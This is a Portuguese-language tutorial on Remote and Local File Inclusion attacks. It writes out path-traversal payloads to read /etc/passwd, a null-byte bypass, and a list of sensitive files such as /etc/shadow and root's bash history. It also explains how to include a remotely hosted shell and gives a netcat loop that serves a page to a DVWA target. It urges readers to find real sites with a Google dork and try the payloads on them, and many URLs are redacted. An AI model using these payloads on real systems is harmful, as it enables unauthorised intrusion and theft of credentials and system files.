O que é ataque RFI
O ataque RFI ou inclusão de arquivo remoto é uma ciberameaça que se aproveita da
vulnerabilidade de uma aplicação web (a falta de validação da entrada de dados fornecidos
pelo usuário) para inserir um arquivo remoto. Para tanto, as aplicações web precisam ser
capazes de incluir dinamicamente arquivos ou scripts externos.
Dessa forma, quando o código inserido pelo atacante é executado no servidor web, é
possível exercer as ações cibercriminosas.
Aqui, o objetivo dos hackers é explorar a função de referência na aplicação para fazer o
upload de malware (código malicioso) a partir de uma URL remota localizada em um
domínio diferente. Roubo de dados, comprometimento de servidores e dominação do site
para manipulação de conteúdo são consequências comuns de um ataque RFI bem-sucedido
Exemplos De Ataques
1º exemplo:
Em um teste blackbox nós devemos procurar por partes da aplicação, cuja o parâmetro receba algum arquivo como
valor. Este é o exemplo mais comum para encontrar esse tipo de falha.
[Link] ou domínio]/fileincl/[Link]?page=[Link]
A URL acima é um excelente exemplo de como podemos procurar por LFI ou RFI, uma vez que o parâmetro ” page ”
recebe um arquivo como valor.
Um prova de conceito típica é tentar acessar o arquivo passwd. Para isso realizamos a seguinte requisição:
[Link] ou domínio]/fileincl/[Link]?page=../../../../../etc/passwd
Como a aplicação que estamos testando é vulnerável a LFI, a mesma irá nós retornar o conteúdo do arquivo passwd.
Para explorar a falha de RFI você precisa apenas passar a URL de onde está hospedado seu shell.
[Link] ou domínio]/fileincl/[Link]?page=[Link]
A aplicação irá processar o [Link], e o shell será executado no servidor da alvo.
2º exemplo:
Algumas aplicações web implementam medidas de segurança em relação a extensão de arquivos, ou seja, mesmo que a
aplicação seja vulnerável tanto a LFI quanto a RFI o payload ” ../../../../../etc/passwd ” não vai executar. Para isso temos
que bypass essa implementação utilizando o null-byte(%00).
[Link] ou domínio]/fileincl/[Link]?page=../../../../../etc/passwd%00
E para RFI:
[Link] ou domínio]/fileincl/[Link]?page=[Link]
Bem Procure algum site no google utilize a dork [Link]?id=
vamos colocar assim
[Link]/[Link]?id=../../../../../etc/passwd
O browser acabou de nos mostrar o conteúdo do ficheiro. Podemos ver o conteúdo de outros ficheiros de sistema da
mesma forma:
/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root
Vamos criar um ficheiro php para testar o nosso alvo:
$ nano [Link]
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!DOCTYPE html>
<html xmlns=”[Link]
<head>
</head>
<body>
<h1>Fake DVWA page</h1>
<h2>Remote File Inclusion Test</h2>
</body>
</html>
Vamos agora criar um servidor web com o netcat, tal como no artigo anterior (atenção, execução como root):
# while true; do nc -l -p 80 < [Link]; done;
Podemos testar o servidor navegando para o ‘[Link] Vamos inserir este na janela do browser:
[Link]/vulnerabilities/fi/?page=[Link]
Nesta Falha Foi demonstrado como se usa File Inclusion para atacar um alvo. Esta e uma falha boba
bem espero que possa ter entedindo <3